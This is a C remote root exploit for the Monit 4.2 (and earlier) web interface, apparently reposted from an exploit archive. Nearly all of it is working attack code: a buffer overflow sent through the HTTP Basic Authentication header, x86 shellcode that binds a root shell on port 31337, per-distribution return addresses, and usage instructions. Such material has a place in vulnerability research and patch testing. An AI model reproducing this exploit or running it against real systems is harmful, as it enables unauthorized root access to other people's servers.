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Monit <= 4.2 Basic Authentication Remote Root Exploit
===================================================== Monit <= 4.2 Basic Authentication Remote Root Exploit ===================================================== /* * THE EYE ON SECURITY RESEARCH GROUP - INDIA * * http://www.eos-india.net/poc/305monit.c * Remote Root Exploit for Monit <= 4.2 * Vulnerability: Buffer overflow in handling of Basic Authentication informations. * Server authenticates clients through: * Authentication: Basic Base64Encode[UserName:Password] * Here we are exploiting the insecure handling of username in Basic Authentication information to return * control (EIP) to our payload. * * Nilanjan De [n2n<at>linuxmail<dot>org] - Abhisek Datta [abhisek<at>front<dot>ru] * * 06.04.2004 * http://www.eos-india.net * * New Targets : * * RedHat 9 * Fedora Core 2 * Slackware 8.1 * * Update Code : * * http://www.areaunix.com/modules.php?name=Forums&file=viewtopic&t=79 * * Author : rtk * * */ #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <unistd.h> #define BUFF_SIZE 2048 #define PADDING 40 #define EXP_SIZE (256+4+PADDING) #define MAX_ARCH 5 struct eos{ char *arch; unsigned long ret; } targets[] = { "Monit <=4.2 Gentoo ", 0xbf7fef02, //------------------------------- "Monit <=4.2 RedHat 9 ", 0xffffe002, //------------------------------- "Monit <=4.2 Fedora Core 2", 0x0052d7a2, //------------------------------- "Monit <=4.2 Slackware 8.1", 0xbf7ff9e4, //------------------------------- "Monit <=4.2 Crash ", 0xbadc0ded, NULL, 0 }; /* x86 linux portbind a shell in port 31337 based on shellcode from www.shellcode.com.ar with a few modifications by us */ char shellcode[]= /* sys_fork() */ "\x31\xc0" // xorl %eax,%eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x02" // movb $0x2,%al "\xcd\x80" // int $0x80 "\x38\xc3" // cmpl %ebx,%eax "\x74\x05" // je 0x5 /* sys_exit() */ "\x8d\x43\x01" // leal 0x1(%ebx),%eax "\xcd\x80" // int $0x80 /* setuid(0) */ "\x31\xc0" // xorl %eax,%eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x17" // movb $0x17,%al "\xcd\x80" // int $0x80 /* socket() */ "\x31\xc0" // xorl %eax,%eax "\x89\x45\x10" // movl %eax,0x10(%ebp)(IPPROTO_IP = 0x0) "\x40" // incl %eax "\x89\xc3" // movl %eax,%ebx(SYS_SOCKET = 0x1) "\x89\x45\x0c" // movl %eax,0xc(%ebp)(SOCK_STREAM = 0x1) "\x40" // incl %eax "\x89\x45\x08" // movl %eax,0x8(%ebp)(AF_INET = 0x2) "\x8d\x4d\x08" // leal 0x8(%ebp),%ecx "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x89\x45\x08" // movl %eax,0x8(%ebp) /* bind()*/ "\x43" // incl %ebx(SYS_BIND = 0x2) "\x66\x89\x5d\x14" // movw %bx,0x14(%ebp)(AF_INET = 0x2) "\x66\xc7\x45\x16\x7a\x69" // movw $0x697a,0x16(%ebp)(port=31337) "\x31\xd2" // xorl %edx,%edx "\x89\x55\x18" // movl %edx,0x18(%ebp) "\x8d\x55\x14" // leal 0x14(%ebp),%edx "\x89\x55\x0c" // movl %edx,0xc(%ebp) "\xc6\x45\x10\x10" // movb $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 /* listen() */ "\x40" // incl %eax "\x89\x45\x0c" // movl %eax,0xc(%ebp) "\x43" // incl %ebx "\x43" // incl %ebx(SYS_LISTEN = 0x4) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 /* accept() */ "\x43" // incl %ebx "\x89\x45\x0c" // movl %eax,0xc(%ebp) "\x89\x45\x10" // movl %eax,0x10(%ebp) "\xb0\x66" // movb $0x66,%al "\xcd\x80" // int $0x80 "\x89\xc3" // movl %eax,%ebx /* dup2() */ "\x31\xc9" // xorl %ecx,%ecx "\xb0\x3f" // movb $0x3f,%al "\xcd\x80" // int $0x80 "\x41" // incl %ecx "\x80\xf9\x03" // cmpb $0x3,%cl "\x75\xf6" // jne -0xa /* execve() */ "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80"; // int $0x80 void show_help(char *pr00gie,u_short opt) { int i=0; printf("==========> THE EYE ON SECURITY RESEARCH GROUP <==========\n"); printf("Monit <= 4.2 Remote Root Exploit\n"); printf("n2n[at]linuxmail[dot]org - abhisek[at]front[dot]ru\n"); printf("http://www.eos-india.net\n"); printf("\nNew Targets added by rtk http://www.areaunix.com\n\n"); if(!opt) return; printf("[usage]\n"); printf("%s [Remote Host] [Remote Port] [Target]\n",pr00gie); printf("[Available Targets]\n"); while(targets[i].arch != NULL) { printf("%d. - %s\t - %p\n",(i),targets[i].arch,targets[i].ret); i++; } } /* Base 64 code ripped from monit src */ /** * Base64 encode one byte */ static char encode(unsigned char u) { if(u < 26) return 'A'+u; if(u < 52) return 'a'+(u-26); if(u < 62) return '0'+(u-52); if(u == 62) return '+'; return '/'; } /** * Base64 encode and return size data in 'src'. The caller must free the * returned string. * @param size The size of the data in src * @param src The data to be base64 encode * @return encoded string otherwise NULL */ char *encode_base64(int size, unsigned char *src) { int i; char *out, *p; if(!src) return NULL; if(!size) size= strlen((char *)src); out= (char *)malloc(sizeof(char)*size*4/3+4); p= out; for(i=0; i<size; i+=3) { unsigned char b1=0, b2=0, b3=0, b4=0, b5=0, b6=0, b7=0; b1 = src[i]; if(i+1<size) b2 = src[i+1]; if(i+2<size) b3 = src[i+2]; b4= b1>>2; b5= ((b1&0x3)<<4)|(b2>>4); b6= ((b2&0xf)<<2)|(b3>>6); b7= b3&0x3f; *p++= encode(b4); *p++= encode(b5); if(i+1<size) { *p++= encode(b6); } else { *p++= '='; } if(i+2<size) { *p++= encode(b7); } else { *p++= '='; } } return out; } void make_http_request(char *buff,int size,char *host,unsigned long *magic) { char *exp_buff; char *exp_buff_encoded; int i; if (!(exp_buff=(char*)malloc(EXP_SIZE))){ perror("malloc()"); exit(1); } memset(exp_buff,0x90,EXP_SIZE); strcpy(exp_buff+256-strlen(shellcode),shellcode); for(i=256;i<EXP_SIZE-5;i+=4) memcpy(exp_buff+i,magic,4); strcpy(exp_buff+EXP_SIZE-4,":x"); exp_buff_encoded=encode_base64(EXP_SIZE,exp_buff); memset(buff,0x00,size); sprintf(buff,"GET / HTTP/1.0\r\n"); sprintf(buff,"%sHost: %s\r\n",buff,host); sprintf(buff,"%sAuthorization: Basic %s\r\n\r\n\r\n",buff,exp_buff_encoded); } int main(int argc,char *argv[]) { char *host; char *b; int rport; int sockfd; struct sockaddr_in sin; struct hostent *h; unsigned int n; unsigned long magic; if(argc != 4) { show_help(argv[0],1); exit(1); } host=argv[1]; rport=(atoi(argv[2])); n=atoi(argv[3]); if((n >= MAX_ARCH)||(n<0)) { printf("- Invalid target\n"); show_help(argv[0],1); exit(1); } magic=targets[n].ret; show_help(argv[0],0); printf("-Using RET %p\n",magic); printf("Resolving %s\t",host); h=gethostbyname(host); if(!h) { printf("[ERROR]\nUnable to resolve: %s\n",host); exit(1); } else printf("[DONE]\n"); b=(char*)malloc(BUFF_SIZE); if(!b) { perror("malloc"); exit(1); } sin.sin_addr=*((struct in_addr*)h->h_addr); sin.sin_family=AF_INET; sin.sin_port=htons((u_short)rport); if((sockfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){ perror("socket"); exit(1); } printf("Connecting to %s:%d\t",host,rport); if(connect(sockfd,(struct sockaddr*)&sin,sizeof(sin))<0) { printf("[ERROR]\nUnable to connect: %s:%d\n",host,rport); perror("connect"); exit(1); } else printf("[DONE]\n"); make_http_request(b,BUFF_SIZE,host,&magic); if(send(sockfd,b,strlen(b),0) == strlen(b)) printf("Successfully send exploit string\n"); else printf("Failed sending exploit string\n"); close(sockfd); return 0; } # 0day.today [2024-12-25] #